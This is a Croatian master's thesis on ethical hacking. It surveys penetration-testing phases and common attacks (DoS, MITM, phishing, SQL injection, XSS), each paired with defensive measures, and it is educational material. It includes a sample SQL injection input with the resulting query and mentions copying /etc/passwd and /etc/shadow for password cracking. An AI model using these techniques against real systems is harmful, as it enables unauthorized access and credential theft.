Metode etickog hakiranja

Luka, Ljubici¢

Master's thesis / Diplomski rad
2020

Degree Grantor / Ustanova koja je dodijelila akademski / strucni stupanj: University of
Zagreb, Faculty of Organization and Informatics / Sveuciliste u Zagrebu, Fakultet
organizacije i informatike

Permanent link / Trajna poveznica: https://urm.nsk.hr/urn:nbn:hr:211:231137

Rights / Prava: Attribution-NonCommercial 3.0 Unported/Imenovanje-Nekomercijalno 3.0

Download date / Datum preuzimanja: 2024-05-12

Repository / Repozitorij:

L]
SYEDCILISTE U ZACREBL
o I PAM L ORCANLEACHE LINTOEMA LIEE Faculty of Organization and Informatics - Digital

VARAZDIN

Repository

DIGITALNI AKADEMSKI ARHIVI I REPOZITORLIL

zir.nsk.hr


https://urn.nsk.hr/urn:nbn:hr:211:231137
http://creativecommons.org/licenses/by-nc/3.0/
http://creativecommons.org/licenses/by-nc/3.0/
https://repozitorij.foi.unizg.hr
https://repozitorij.foi.unizg.hr
https://zir.nsk.hr/islandora/object/foi:6158
https://repozitorij.unizg.hr/islandora/object/foi:6158
https://dabar.srce.hr/islandora/object/foi:6158

SVEUCILISTE U ZAGREBU
FAKULTET ORGANIZACIJE | INFORMATIKE
VARAZDIN

Luka Ljubigié

METODE ETICKOG HAKIRANJA

DIPLOMSKI| RAD

Varazdin, 2020.



SVEUCILISTE U ZAGREBU
FAKULTET ORGANIZACIJE | INFORMATIKE

VARAZDIN

Luka Ljubici¢
Mati€ni broj: 0016117674

Studij: Informacijsko i programsko inzenjerstvo

METODE ETICKOG HAKIRANJA

DIPLOMSKI RAD

Mentor/Mentorica:

Doc. dr. sc. Tomici¢ Igor

Varazdin, rujan 2020.



Luka Ljubicic

Izjava o izvornosti

Izjavljujem da je moj zavrSni/diplomski rad izvorni rezultat mojeg rada te da se u izradi istoga
nisam koristio drugim izvorima osim onima koji su u njemu navedeni. Za izradu rada su

koristene etiCki prikladne i prihvatljive metode i tehnike rada.

Autor/Autorica potvrdio/potvrdila prihvacanjem odredbi u sustavu FOI-radovi




Sazetak

EtiCko hakiranje je strukturirani pristup testiranju sustava u svrhu otkrivanja ranjivosti sustava
i poboljSanja sigurnosnih elemenata, uz znanje i dozvolu vlasnika resursa koji se testira. Ovaj
rad bavi se kategori¢kim pregledom modernih metoda koje se najceSce koriste u takvom
testiranju, pregledom ranjivosti koje dovode do uspjeSne provedbe navedenih metoda, te
preporukama za uklanjanje navedenih ranjivosti i/ili smanjenje prijetnji. U radu ¢emo prikazati
kako provesti penetracijsko testiranje mreze koja koristi WEP, WPA ili WPA2 zastitu. Prikazati
¢emo koje su metode i alati koji se koriste za penetracijsko testiranje servera. Provesti ¢emo
klijentske napade koristenjem backdoora, objasniti ¢emo $to je to i kako provesti MITM napad.
Takoder objasniti éemo $to je socijalni inzenjering te prikazati automatizirane testove za

pronalazak ranjivosti Web aplikacija. Sve metode izvodit ¢e se u kontroliranom okruzZenju.

Kljuéne rije€i: sigurnost; penetracijsko testiranje; Kali Linux; vrste cyber napada; MITM

napad; zlo¢udan kod; socijalni inzenjering.
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1. Uvod

U danasnje doba Internet je postao opce prihva¢ena usluga koja sluzi primarno
za komunikaciju i razmjenu raznih resursa. Kada govorimo o resursima zapravo
mislimo na razne vrste medija (informacija) kao sto su tekst, slika, video sadrzaj i sl.
Svaka informacija putem Interneta dostupna je momentalno i olakS8ava nam
svakodnevni zivot. Za pristup Internetu dovoljno je imati uredaj koji se moze spojiti na
pristupnu toCku (ruter) ili moze koristiti usluge mobilnog Interneta. Razne aplikacije
zahtijevaju konekciju sa Internetom kako bi mogle funkcionirati. lako Internet ima
brojne prednosti takoder ima i svojih mana. Kada koristimo Internet uredaj Salje
zahtjeve i dobiva odgovore od odredenog servera (racunala) s kojim se Zeli uspostaviti
ili je uspostavljena konekcija. Osim Sto koriStenje Interneta zahtjeva odredenu koli€inu
informatiCke pismenosti, potrebna je i razina svjesnost o sigurnosti pregledavanja

sadrZaja na Internetu.

Do sad sigurno ste se susreli s rijeCju haker. Haker nije nuzno kriminalac koji kri zakon
i radi ilegalne stvari putem raCunala i nemaju svi hakeri isti cil. U nastavku rada
spomenuti ¢emo vrste hakera i navesti koji su njihovi ciljevi. Kada govorimo o etickom
hakiranju mislimo na hakiranje sustava u svrhu preventivnih mjera kako stvarni
napadac ne bi iskoristio prisutne ranjivosti sustava. Takoder prikazati cemo na koji

nacin mozemo detektirati i zastititi se od metoda koje hakeri koriste.



2. Hakiranje

Dobivanje neovlastenog pristupa sustavu naziva se hakiranje. Prijava u tudi
email racun bez vlasnikova znanja i dozvole smatra se hakiranje tog racuna. Isto tako
pristup udaljenom raCunalu bez vlasnikovog znanja i dozvole smatra se hakiranjem tog
racunala. Hakiranje je svaki neovlasteni pristup podacima ili informacijama. U nastavku

objasnit ¢emo tko je haker, koje su vrste hakera i $to je to eticko hakiranje.
2.1. Tko je haker? Vrste hakera

Haker je osoba koja uZiva istrazivati detalje programskog sustava i proSiruje
njegove sposobnosti. Osoba koja cijeni hakerske vrijednosti, brza je i vjesta u
programiranju. Hakeri su osobe koje vole intelektualne izazove i kreativno prelazenje
granica zastite. Takoder nemaju svi hakeri iste cilj, haker moze biti zlionamjerna osoba

kojoj je cilj otkriti osjetljive informacije (eng. cracker). [1]

Haker je osoba koja koristi svoje softversko i hardversko znanje da zaobide sigurnosne

mjere raCunala, uredaja i mreze.

Slika 1. Podjela hakera, Izvor: https://tinyurl.com/ybrja8go

Slika 1 prikazuje podjelu hakera na tri vrste, a to su crni (eng. black hat), bijeli (eng.
white hat) i sivi (eng. grey hat). Vazno je napomenuti da ovi hakeri provode gotovo

iste taktike prilikom hakiranja, no nemaju isti cil].


https://tinyurl.com/ybrja8qo

Crni hakeri obi¢no imaju Siroko znanje o provali u raCunalne mreze i zaobilazenju
sigurnosnih protokola. Obi¢no piSu zlonamjerni softver (eng. malware) kojim dobivaju
pristup sustavu. NajCesci cilj im je krada financijskih i osobnih podataka te korisnickih
raCuna. Podatke koriste za osobnu ili financijsku koristi, takoder mogu biti ukljuCeni u
cyber Spijunazu, prosvjed i slicno. Ne radi se uvijek o kradi podataka nego i njihovoj

izmijeni ili unistenju. [2]

Bijeli hakeri koriste svoje znanje za postizanje bolje sigurnosti, poznati su kao eticki
hakeri. Radi se o zaposlenicima koji rade za tvrtke kao sigurnosni stru¢njaci koji
pokusSavaju pronadi sigurnosne rupe hakiranjem. Jedina razlika izmedu crnih i bijelih
hakera je ta da bijeli hakeri rade to uz dozvolu vlasnika sustava (legalno). Ovi hakeri
provode penetracijsko testiranje, testiraju sigurnost sustava i obavljaju procjene

ranjivosti za tvrtke. [2]

Sivi hakeri spoj su aktivnosti crnih i bijelih hakera. Sivi hakeri ¢esto traze ranjivosti u
sustavu bez vlasnikovog odobrenja ili znanja. Ako se pronadu problemi, prijavit ¢e ih
vlasniku, ponekad traZeéi malu naknadu da ispravi problem. Ako vlasnik ne reagira ili

ne udovolji, hakeri ¢e ponekad novootkrivenu ranjivost objaviti na Internet. [2]



3. Penetracijsko testiranje

Rad etiCkog hakera naziva se penetracijsko testiranje (eng. penetration testing)
koje obuhvaca pokretanje alata, izradu izvjeStaja, propisuje grupu testova i moraju dati
odgovore na pitanja kvalitete, sveobuhvatnosti i ponovljivosti rezultata. Struktura

penetracijskog testiranja obuhvacena je metodologijom. [3]

3.1. Opcenito o penetracijskom testiranju

Penetracijsko testiranje je tehnika koju etiCki hakeri koriste i kojom se
procjenjuje sigurnost racunalnog sustava ili mreZe. Tehnike koje su prisutne u
penetracijskom testiranju razne su vrste napada koje bi stvarni napadac koristio. Ideja

je pronaci ranjivosti koje se mogu iskoristiti kako bi se ostvario neovlasteni pristup. [3]

U pocCecima razvijali su se alati za automatsko provodenje testiranja koji zbog razlicitih

operacijskih sustava, raCunala i programskih jezika nisu bili prakti¢ni.
Danas se koriste razliciti trendovi kao sto su [3, str. 5]:

e antivirusni programi,

e ,Unix alati za sigurnosno testiranje®,

e ,sustavi za detekciju upada u sustav®,

e ,alati za formalno dokazivanje specifikacije®,
e ,analizatori ranjivosti®,

e alati za simbolicko izvodenje i sl.”

Moguci napadi na sustav procjenjuju se penetracijskim testiranjem i pretrazivanjem
ranjivosti. PretraZivanje ranjivosti uvodni je korak penetracijskog testiranja koji
procjenu ranjivosti stvara na temelju automatiziranog procesa. S druge strane
penetracijskim testiranjem dobivamo reducirani skup detektiranih ranjivosti za koje

se moze reci da su prisutne u sustavu. [3]



3.2. Faze penetracijskog testiranja

Penetracijsko testiranje obicno se sastoji od 8 faza [3]:

1. Prikupljanje informacija

2. Mapiranje mreze

3. Identificiranje ranjivosti

4. Penetracija

5. Dobivanje pristupa i povecanje ovlasti
6. Daljnje popisivanje objekata

7. Kompromitacija sustava

8. Odrzavanje pristupa i sakrivanje tragova

Slika 2. Faze penetracijskog testiranja, lzvor: Izrada autora

U nastavku opisat ¢emo radnje koje se obavljaju u svakoj od navedenih faza.

1. Prikupljanje informacija

Odnosi se na pripremnu fazu u kojoj napadac prikuplja $to viSe informacija o meti prije
pokretanja napada. Ovo je kljutna faza koja potencijalnom napadacu omogucuje
strategiziranje svog napada. Moze ukljucivati tehniku socijalnog inZenjeringa (eng.
social engineering) ili drugu tehniku (eng. dumpster diving) koja je proces pretraZivanja
,Ssmeca“ organizacije za dobivanje osjetljivih podataka kao Sto su korisniCka imena,
lozinke i sl. [3, 4]

Svaka informacija o sustavu, organizaciji ili osobi korisha je, informacije se mogu
prikupiti pomocu raznih alata, DNS/WHOIS, pretrazivaca, novinskih grupa i slicno. Na
primjer WHOIS baza podataka mozZe pruziti informacije o internetskim adresama,
imenima domena i kontaktima. Ako potencijalni napada¢ dobije podatke DNS-a od
registrara moze dobiti korisne informacije kao $to je preslikavanje imena domena na

IP adrese, posluZitelje poste i zapise informacija o hostu. [3, 4]

Informacije koje nam mogu biti od koristi mogu se pronaéi na organizacijskim
broSurama, poslovnim karticama, prospektima, novinskim reklama pa tako i iz izvora

dostupnih na Internetu. [3]



2. Mapiranje mreze

Mrezne informacije prikuplijene u prethodnoj fazi zajedno s alatima i aplikacijama
pomazu nam za otkrivanje tehnickih informacija o ra¢unalima i mreZama omogucujuci
izradu moguce mrezne topologije mete. Napadaci Cesto koriste automatizirane alate
kako bi prikupili mrezne informacije poput mapiranja mreze, usmjerivaca i vatrozida

poput jednostavnih alata kao Sto je Traceroute, Cheops. [3, 4]
Postupak mapiranja mreze obuhvaca [3, str. 5-6]:

e pronalazak aktivnih racunala®,

e pretraZivanje prikljucaka i servisa“,

e ,odredivanje vanjskih rubova mreze (usmijerivaca, vatrozida)®,

e identifikaciju kritiCnih servisa“,

e ,utvrdivanje informacija o operacijskom sustavu (eng. OS fingerprinting)*,

e identifikaciju ruta koristenjem MIB (eng. Management Information Base) baze*
[

e ,utvrdivanje informacija o servisima (eng. Service fingerprinting).*

3. Identificiranje ranjivosti

U ovoj fazi potrebno je uoCiti slabe toCke sustava koje bi napada¢ mogao iskoristiti.

Aktivnosti za postizanje detekcije ukljuCuju [3, str. 6]:

e identifikaciju ranjivih servisa koriStenjem servisnih poruka (eng. banners)*,

e pretrazivanje ranjivosti s ciliem otkrivanja poznatih nedostataka - informacije
vezane uz poznate ranjivosti mogu se pronaci u proizvodaCevim sigurnosnim
oglasima ili u javnim bazama podataka, kao $to su SecurityFocus, Secuniai sl.”,

e popisivanje otkrivenih ranjivosti®,

e procjenu ocekivanog utjecaja (klasifikacija pronadenih ranjivosti)® i

e identifikaciju putova napada i scenarija za zloporabu®.
4. Penetracija

U ovoj fazi potrebno je ostvariti neoviasten pristup uz dobivanje najvecih ovlasti pritom
zaobilazeci sigurnosna ogranicenja.

Proces se moZe podijeliti u nekoliko faza [3, str. 6]:



e ,pronalazak programskog koda koji iskoriStava ciljane ranjivosti (eng. exploit) —
moguce je koristiti vlastiti repozitorij ili javno dostupne izvore. Ako je kod iz
vlastitog, sigurnog repozitorija, moze se koristiti, a u suprotnom ga slu€aju treba
prvo testirati u izoliranom okruzenju®,

e ,razvoj alata/skripti - u nekim okolnostima potrebno je kreirati vlastite alate i
skripte za testiranje i za povecanje ucCinkovitosti®,

e testiranje alata/koda za dokazivanje koncepta“,

e prilagodba alata/koda za dokazivanje koncepta®,

e potvrda ili pobijanje postojanja ranjivosti - jedino testiranjem ranjivosti
analizatori mogu sa sigurnoScu potvrditi ili pobiti postojanje ranjivosti®,

e ,dokumentacija - mora sadrzavati detaljan opis putova zloporabe, utjecaja koji

je ostvaren na sustav i dokaza postojanja ranjivosti®.
5. Dobivanje pristupa i povecanje ovlasti

Ako do sad pristup nije ostvaren, ova faza nudi alternativne nacine ostvarenja

pristupa kao i poveéanje ovlasti.
Alternativni nacini za dobivanja pristupa [3, str. 6]:

e ,otkrivanje korisni¢kih imena/zaporki - tzv. napad rje¢nikom (eng. dictionary
attack) i napad grubom silom (eng. brute force attack)®,

e otkrivanje praznih ili podrazumijevanih zaporki u sistemskim racunima®,

e iskoriStavanje proizvodacevih podrazumijevanih postavki, kao $to su parametri
mrezne konfiguracije, zaporke i sl.“ te

e otkrivanje javnih servisa, koji dozvoljavaju obavljanje odredenih operacija na

sustavu, kao $to je pisanje/stvaranje/Citanje datoteka.”

Ako uspijemo zaobici ili pronaci lozinke, slijedi poku$aj pristupa ciljanom sustavu koji
moze ukljuCivati i posredne sustave (usmjerivace, vatrozide, domenske posluZitelji i

sl.) kako bi se zaobiSli sigurnosne mjere i ostvarili pristup ciljanom sustavu.

Povecéanje ovlasti potrebno je ako je u prethodnim fazama ostvaren pristup sustavu
na nizoj razini. Potrebno je ste¢i administratorske ovlasti koje ponekad nije
jednostavno zato Sto su neke ranjivosti vec¢ ispravljene, alati za provjeru integriteta

sustava (uklju€ujuci antivirusne programe) ponekad mogu sprijeciti Zeljene akcije. [3]
7



6. Daljnje popisivanje objekata (eng. Enumerating Further)
Daljnje popisivanje objekata sastoji se od sljedecih koraka [3, str. 7]:

e otkrivanja kriptiranih zaporki za probijanje sustava koji nije spojen na mrezu
(npr. kopiranjem datoteka /etc/passwd i /etc/shadow na Linux sustavima)®,

e ,otkrivanja zaporki (kriptiranih ili otvorenog teksta) koristenjem sniffer alata i
drugih tehnika®,

e ,analize prometa®,

e prikupljanja kolaCi¢a (eng. cookie) i njihovog koriStenja za iskoriStavanje
sjednica ili napade na zaporke®,

e prikupljanja adresa elektronitke poste”,

e identifikacije ruta i mreza“, i

e ,mapiranja internih mreza i ponovnog izvodenja prethodnih koraka, sa

sustavom u danom stanju kao polaznom to¢kom.*
7. Kompromitacija sustava

Sigurnost sustava ovisi 0 jacini njegovih najslabijih dijelova, jedna ranjivost moze
rezultirati izlaganjem cijele mreze. Kako bi osigurali autenticnost i privatnost
prenosenja podataka preporuceno je koristiti VPN (eng. Virtual Private Network). Dok
VPN pruza siguran prijenos podataka, krajnje toCke koje sudjeluju u komunikaciji nisu
pouzdane. Potrebno je ostvariti pristup udaljenom korisniku ili organizaciji kako bi

osigurali pristup internoj mrezi.
8. Odrzavanje pristupa i skrivanje tragova

Odrzavanije pristupa i skrivanje tragova zadnja su faza penetracijskog testiranja koja
nam omogucéuje stalnu i trajnu prisutnost u sustavu bez moguénosti detekcije i

raspoznavanja. [3]
Primjenjuju se sljedeci alati i tehnika [3, str. 7]:

e ,skrivenih kanala®,
e ,straznjih vrata (eng. backdoor),
e tzv. rootkit alata®,

e prikrivanja tragova“,



e skrivanja datoteka®,
e ,CiSéenja zapisnika®“,
e _poniStenja provjere integriteta“ i

e ,ponistenja antivirusnih alata“.

Kada je ostvaren pristup ciljanom sustavu, napada¢ moze odluciti koristiti sustav i
njegove resurse. Sustav nad kojim smo ostvarili pristup mozZe se Koristiti za skeniranje
i iskoriStavanje drugih sustava. Oba djelovanja mogu nastetiti organizaciji, npr.
napada¢ moze analizirati sav mrezni promet, ukljuujuci telnet i ftp sesije s drugim

sustavima. [4]

Napadaci nakon ulaska u sustav uklanjaju dokaze o svom ulasku i uglavnom koriste
razne metode za ponovni pristup sustavu kao Sto su backdoor ili trojanski kon;.
Takoder mogu instalirati rootkit na razini kernela za pristup kao korisnik sa svim
pravima. Rootkit ostvaruje pristup na razini operativnog sustava dok trojanski konj
dobiva pristup na razini aplikacije. | rootkiti i trojanci ovise o korisnicima koji ¢e ih

instalirati. [4]

U penetracijskom testiranju obi¢no se ne koriste skriveni kanal, backdoor, rootkit kako

ne bi ostavili tragove stvarnom napadacu. [3]



4. Vrste napada kojima se hakeri sluze

U ovom poglavlju opisat ¢emo osnovne pojmove kako bi lakSe pratili nastavak
rada. Opisat c¢emo vrste napada kojima se hakeri sluze koji ¢e biti popraceni zastitnim

mjerama.
4.1. Sigurnosni pojmovnik

Ukratko ¢emo opisati pojmove kako bi lakSe mogli pratiti prakti¢ni dio ovoga
rada. [5]

Antivirus (eng. Anti-Virus Software) — softver koji otkriva i uklanja viruse prije nego §to
naprave Stetu sustavu. Antivirusne programe potrebno je redovito azurirati kako bi

azurirali svoje baze koje sadrZe virusne potpise za raspoznavanje virusnih datoteka.

Straznja vrata (eng. Backdoor) — skriveni softverski ili hardverski mehanizam koji se
koristi za zaobilaZenje sigurnosti. Koristi se za udaljeno pristupanje racunalima bez

korisnikova znanja i dozvole.

Virusni potpis (eng. Virus signature) — ,otisak” virusa, svaka datoteka ima jedinstveni

potpis koji ne ovisi 0 njezinom nazivu ve¢ sadrzaju i tako se identificira.

Vatrozid (eng. Firewall) — hardverski ili softverski dodatak mrezi za pracenje paketnog
prometa koji dolaze i odlaze s tog raCunala, dopustajuéi pritom promet samo
ovlastenima. Ovlasti paketa vatrozida mogu se specificirati na temelju IP adresa,

protokola, vrata (eng. port), naziva domena, programa i klju¢nih rijeci.

Maliciozna datoteka, zloéudan kod (eng. Malware) — genericki izraz za razliCite vrste

zlocudnog koda (npr. eng. virus, adware, spyware).

Ranjivost (eng. Vulnerability) — greSka koja omogucuje iskoriStavanje sustava, tj.

osoba ima veca prava upravljanja racunalom nego $to je vlasnik sustava odobrio.

Exploit — dio koda koji je napisan kako bi iskoristio ranjivost, omogucéava funkcioniranje

payloada.

Payload — dio zlo¢udnog koda (malware) koji obavlja zlonamjerne akcije koje napadac
Zeli (npr. uspostavljanje konekcije, preuzimanje datoteka, pokretanje programa mete).
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Ruter (eng. Router) — hardverski uredaj koji sluzi za povezivanje dvije ili viSe mreza i

usmjerava dolazne pakete na odgovarajucu mrezu.

Laziranje (eng. Spoofing) — tehnika koju koriste hakeri kako bi dobili pristup racunalu

tako da umjesto originalne IP adrese pruzaju laznu.

IP adresa (eng. Internet Protocol Adress) — mrezna adresa raCunala, napisana u nizu

odvojenih Cetiri, osam-bitnih broja.

DNS (eng. Domain Name System) — sadrzi tablicu naziva domene, njene IP adrese.

Naziv domene lakSe se pamti od njene IP adrese.
4.2. NajCeSce vrste cyber napada i njihova prevencija

U danasnjici postoji mnogo vrsti napada na racunala koji svakoga dana raste.
Kada govorimo o napadima na ra¢unala mislimo na svaku vrstu akcije koja se odnosi
na informacijske sustave, infrastrukturu, racunalne mreze ili osobna raCunala pritom
koristeCi razne metode Ciji je ishod krada, izmjena, uniStavanje podataka ili
informacijskih sustava. U nastavku opisat ¢emo deset najpopularnijih vrsta napada na

racunala [6]:
1. Napad uskracivanja usluge (DoS, DDoS)

DoS je racunalni napad u kojem napadac¢ nastoji onemoguciti pruzanje usluga nekog
sustava, tj. resurse sustava €ini nedostupnima. Uskracivanje usluge postize se slanjem
uzastopnih zahtjeva koji dovode do preopterecenja sustava. [6]

S druge strane DDoS je isti napad pokrenut s velikog broja raCunala, koji su obi¢no
zarazenih zlonamjernom datotekom koja napadacu daje moguénost za izvodenje
napada. NapadaC ovakvim napadom moze iskljuciti sustav van mreze i iskoristiti to

stanje za pokretanje drukgcijih vrsta napada.
Postoje viSe vrsta DoS ili DDoS napada [6]:

A. TCP SYN flood attack — pogledajmo sliku 3, prilikom inicijalizacije TCP
konekcije klijent Salje poruku serveru (SYN - synchronize). Ako server Zeli
uspostaviti vezu, Salje poruku (SYN/ACK — aknowleged) kojom nudi uspostavu
konekcije. Ako klijent poSalje poruku (ACK) veza je uspostavljena. Svaki put

11



kada server dobije SYN poruku alocira prostor (tablicu) i kada klijent poSalje
ACK poruku uspostavlja se sesija, nakon toga taj prostor je dealociran. Napad
funkcionira tako da klijent Salje uzastopne SYN poruke i nikad ne posalje ACK
poruku. Dok server Ceka ACK poruku (prostor ne moze biti dealociran).
Napadadi laziraju IP adresu i server Salje SYN/ACK poruku pogreSnom klijentu.
Nakon velikog broja SYN poruka poslanih u kratkom vremenu server ne moze
viSe alocirati prostor potreban za uspostavljanje konekcije i odbija klijente koje

se zele povezati. [6]
TCP Three Way Handshake
SYN N
Q < SYN/ACK \\: *
ACK: *
T

\ ~¢——— Connection Established—— \

http:/fe-kurity. blogspot.com/
User A P y:loase

Server B

Slika 3. TCP — three way handshake, Izvor: http://tiny.cc/ef4inz

Zastita od ovakvih napada moZe se ublaziti poveéavanjem veliine reda i

smanjenjem vremena otvorenih veza. [6]

. teardrop attack — IP fragmentacija je proces koji pakete odvaja u manje dijelove
(fragmente) kako bi fragmenti mogli pro¢i vezom koja ima manji MTU (eng.
maximum transmission unit) od originalne veli€ine paketa. Fragmente ponovno
sastavlja primatelj. Ovaj napad koristi preklapanje fragmenata na strani mete
(primatelja) koristenjem ofseta (indeks paketa), primatelj ne uspijeva sastaviti

pakete i sustav se rusi. [6]

Zastita od ovakvog napada je iskljuCivanjem SMBv2 protokola za prijenos
datoteka i blokirajuci vrata (eng. port) 139 i 445. [6]

. smurf attack — napad je osmiSljen laziranjem (eng. spoof) IP adrese i
koriStenjem ICMP protokola koji se koristi za utvrdivanje statusa raCunalnog
sustava. Recimo da meta ima IP adresu 10.0.0.10, napadac laZira svoju IP
adresu i predstavlja se kao meta, i Salje echo zahtjev (ping) prema broadcast
IP adresi 10.255.255.255 koja unutar sebe sadrzi uredaje koje su na nju spojeni.
Odgovor echo zahtjeva se potom od svih tih uredaja Salje na IP adresu

10.0.0.10 $to dovodi do prezasic¢enosti toga servera. [6]
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Zastita od ovakvih napada je iskljuCivanje IP-directed broadcasta na ruterima.

IskljuCivanjem toga sprjeCavaju se broadcast zahtjevi mreznih uredaja. [6]

D. ping of death attack — Najveca veliCina IP paketa je 65535 baijta, ovaj napad
koristi pakete vise od 65535 bajta tako da koristi fragmentaciju IP paketa. Kada
meta pokuSa sastaviti paket dolazi do prepunjenosti meduspremnika (eng.

buffer overflow) sto dovodi do ruSenja sustava. [6]

Zastita od ovakvog napada rijeSena je pomocu vatrozida (eng. firewall) koji

provjerava da paketi ne prelaze veliinu 65535 bajta. [6]

E. botnets — bot (robot) je ugrozeno racunalo od strane zlonamjernog racunala
(eng. malware) koji su kontrolirane od strane C&C servera (eng. Command and
Control) kojim upravlja korisnik (bot master). Botnet je naziv za veliki broj
zarazenih raCunala koji su pod kontrolom hakera (bot mastera). Koriste se za

razne napade, jedan od njih je DDoS napad Ciji je izvor teSko otkriti buduci da

se radi o napadu s velikog broja lokacija (ovisno o broju botova). [6]

Od ovakvog napada najteze se obraniti ali postoje odredene mjere zastite:
RFC3704 filtriranje koje odbija promet laziranih IP adresa i osigurava da se
promet moze pratiti do izvorne adrese. Ovakvo filtriranje odbija promet prema
IP adresama koje su na listi bogon IP adresa (adresa koje ne pripadaju
odredenom korisniku ili serveru na Internetu). Black hole filtering odnosno
filtriranje koje smanjuje nezeljeni promet prije nego $to dospije do zasti¢ene
mreze. U trenutku otkrivanja DDoS napada BGD (eng. Border Gateway
Protocol) host trebao bi poslati azuriranja usmjeravanja ISP ruterima kako bi
preusmijerili sav promet koji ide prema serveru mete na null0 suc€elju na iduéem
~Skoku®. [6]

2. Man-in-the-middle attack

MitM napad dogada se kada se haker ubacuje izmedu komunikacije klijenta i
posluzitelja. Postoji nekoliko vrsta MitM napada [6]:

A. Session hijacking — napad u kojem napadaC otima sesiju izmedu Klijenta i

servera. Osoba ne Salje korisniCko ime i lozinku, ve¢ su ti podaci spremljeni u
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kolaCi¢u. Napada¢ mijenja svoju IP adresu u adresu mete, dohvaca kolacic¢
mete i server nastavlja sesiju misleéi da komunicira sa stvarnim klijentom. [6]
B. IP Spoofing — laziranje tako da napadac uvjerava odredeni sustav da je on pravi
klijent, mijenja svoju IP adresu u klijentovu adresu (adresu mete). Meta tada
mozda prihvati paket i napravi odredenu akciju. [6]
C. Replay — napada¢ sprema stare poruke i kasnije ih pokuSa poslati lazno se
predstavljajuci koriste¢i spoofing. Ovaj napad se sprjeCava koristeéi vremenske

oznake ili koriste¢i nasumicni niz znakova koji se mijenja. [6]

Zastita od MitM napada moze se sprijeCiti koristeCi jaku WEP/WPA enkripciju,

kreiranjem snazne lozinke rutera, koristeCi VPN i forsiraju¢i HTTPS promet.
3. Phishing and spear phishing attack

Phishing napad — prilikom ovakvog napada Salje se email u kojem se poSiljatel]
predstavlja kao pouzdani izvor kako bi se dobili osobni podaci ili potiCu primatelje da
poduzmu nekakvu akciju. Obi¢no se kombiniraju tehniCke i social engineering vjestine
pri kojima se Salju datoteke koje sadrze zlonamjerni kod (eng. malware). Takoder Salju
se poveznice na web stranice (ili klonirane) koje prikupljaju podatke koje je primatelj
upisao. [6]

Spear phishing napad — vrsta phishing napada u kojem se cilja odredena osoba, pritom
prilagodujuci sadrzaj ciljanoj osobi. Napadac¢ obi¢no lazira email adresu tako da koristi

istu kao i osoba koju poznaje. [6]
Postoje nekoliko nacina za zastitu od ovakvih napada [6]:

= prije poduzimanja akcije potrebno je analizirati email,

= prije otvaranja poveznice, potrebno je strelicu miSa postaviti na poveznicu i prije
otvaranja poveznice pogledajte na koju to¢no adresu vodi ta poveznica (obi¢no
se prikazuje u donjem lijevom kutu pretrazivaa) i promislite o otvaranju
poveznice,

» analizirajte zaglavlje emaila — Replay-to i Return-Path parametri trebali bi voditi
na istu email adresu koja je ista kao i adresa posiljatelja,

= sandbox — sigurnosno okruzenje za otvaranje sumnjivih datoteka u kojem
mozemo analizirati aktivnosti otvaranja poveznica ili otvaranja prilozene

datoteke.
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4. Drive-by attack

| napadi su Cesti napadi Sirenja malwarea, hakeri traze nesigurne web stranice (http) i
postavljaju zlonamjernu skriptu u http ili PHP kod. Takva skripta moze instalirati
malware direktno na racunalo korisnika koji posjecuje web stranicu ili preusmjerava
korisnika na stranicu kontroliranu od strane hakera. Za razliku od drugih malwarea ovaj
napad se ne oslanja na korisnikovu akciju i obi€no iskoriStavaju ranjivosti aplikacije,

operativnog sustava ili preglednika. [6]

Da bi se zastitili od ovakvih napada potrebno je imati instalirana posljednja azuriranja
aplikacije, operacijskog sustava i preglednika pa tako i izbjegavati sumnjive web

stranice koje mogu sadrzavati ovakav kod. [6]
5. Password attacks

Lozinke su najceSCe koriSteni mehanizmi za provjeru autentiCnosti korisnika
informacijskog sustava. Razni su nacini dobivanja korisnikove lozinke, napadaci mogu
lozinku dobiti sniffingom mreze, koriStenjem social engineeringa, dobivanjem pristupa
bazi podataka u kojoj su spremljeni podaci korisnika i sli€no. S druge strane postoje

napadi nasumi¢nog pogadanja lozinke pa tako postoje [6]:

= Dbrute-force attack — napad ,grubom silom“ na lozinke, isprobava sve
kombinacije slova, znamenki, simbola. Ovakav napad uzima puno vremena,
obi¢no se koriste napadi rijeCnikom i hibridni napadi.

= dictionary attack — napad ,rje€nikom* na lozinke tako da postoji rjie€nik u kojem

se nalazi lista rijeCi ili uobiCajenih lozinki.
Pokus$ajte izbjegavati prijavu na javnim mjestima u kojima napadaC¢ mozZe analizirati
mrezni promet i podesiti two-factor authentication gdje je to moguce.

6. SQL injection attack

SQL injection napad javlja se nad aplikacijama koje se temelje na bazama podataka.
Napadac izvrSava SQL upit nad bazom preko polja za unos podataka na klijentskoj
strani kako bi se izvrSile SQL naredbe. Uspjesni napadi su CRUD operacije nad bazom

podataka, administrativhe operacije baze (npr. isklju€ivanje) i slicno. [6]
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Na primjer web stranica moze pretraZziti korisni¢ko ime racuna i poslati upit bazi kako
bi dobila viSe informacija o tom raCunu, SQL bi izgledao: SELECT * FROM users
WHERE account = *“ + userProvidedAccountNumber +”; gdje je

userProvidedAccountNumber korisnikov unos. [6]

Ako je korisnik ispravno unio ispravne podatke upit ¢e funkcionirati tako da vrati
podatke korisnika (ovisno o unesenom korisnickom imenu). No ako napadaC za
korisniCko ime upise ‘ or ‘1’ = ‘1’ upit Ce izgledati: SELECT * FROM users WHERE
account = “ or ‘1’ = ‘1’; Bududéi da je upisano logicko ili koje je istinito, podaci ¢e se
sada dohvatiti za svakog korisnika umjesto za odredenog. SQL injection funkcionira

na stranicama koje koriste dinamicki SQL. [6]

Zastita od ovakvih napada moze se postici koriStenjem pohranjenih procedura (eng.
stored procedures) koje ne sadrze dinamicki SQL, i koristeCi parametrizirane upite.
Takoder potrebno je napraviti zastitu na aplikacijskoj razini prilikom ocitavanja

korisnikova unosa (userProvidedAccountNumber).
7. Cross-site scripting (XSS) attack

Napad koji koristi third-party web resusrse kako bi pokretao skripte na pregledniku
mete ili u aplikaciji. NapadaC ubacuje payload sa zlonamjerni JavaScriptom u bazu
podataka web aplikacije. Nakon $to klijent (korisnik) otvori web stranicu, stranica je
dohvacena sa payloadom koji je dio HTML-a i automatski se izvrSava zlonamjerna
skripta. Na primjer skripta moze poslati kolaci¢ napadacu koji taj kolaci¢ moze iskoristiti
za otmicu sesije (vidi Man-in-the-middle attack). XSS moze se Koristiti za iskoriStavanje
dodatnih ranjivosti koje napadacu mogu omoguciti biliezenje pritiska tipki (eng.
keystroke logging aka. keylogger), uzimanje slika zaslona, prikupljanje mreznih
informacija i udaljeni pristup prema racunalu mete. XSS se naj¢eSc¢e zloupotrebljava u

JavasScriptu jer je on Siroko podrzan na webu. [6]
